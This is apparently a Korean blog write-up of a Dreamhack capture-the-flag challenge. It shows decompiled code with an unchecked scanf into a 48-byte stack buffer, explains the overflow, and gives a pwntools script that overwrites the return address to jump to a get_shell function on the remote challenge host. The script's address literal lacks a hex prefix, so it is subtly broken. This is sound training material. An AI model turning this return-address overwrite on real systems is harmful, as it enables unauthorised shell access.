IDA로 디스어셈블 하여 스도코드 확인
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[48]; // [rsp+0h] [rbp-30h] BYREF
init(argc, argv, envp);
printf("Input: ");
__isoc99_scanf("%s", v4);
return 0;
}
스택 구조가 |v4(0x30|SFP(0x8)|RET(0x8)| 이렇게 되고, scanf함수로 입력받으므로 길이 검사를 하지 않아 BOF 취약점이 발생한다.
따라서 0x30+0x8만큼 더미 값을 준 후 이후에 get_shell 함수 주소를 주면 쉘을 얻을 수 있다.
PIE가 없어서 get_shell 함수 주소도 IDA로 그냥 확인된다.
#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
p = remote('host3.dreamhack.games', 19902)
pay = 'A'*0x30 + 'B'*0x8 + p64(4006AA)
p.sendafter('Input: ', pay)
p.interactive()
[Dreamhack] Firmware Extraction Practice (1) | 2024.03.05 |
---|---|
[Dreamhack] Return to Shellcode (0) | 2024.03.03 |
[Dreamhack] off_by_one_001 (0) | 2024.02.19 |
[Dreamhack] bof (0) | 2024.02.16 |
[Dreamhack] pwn-library (0) | 2024.01.10 |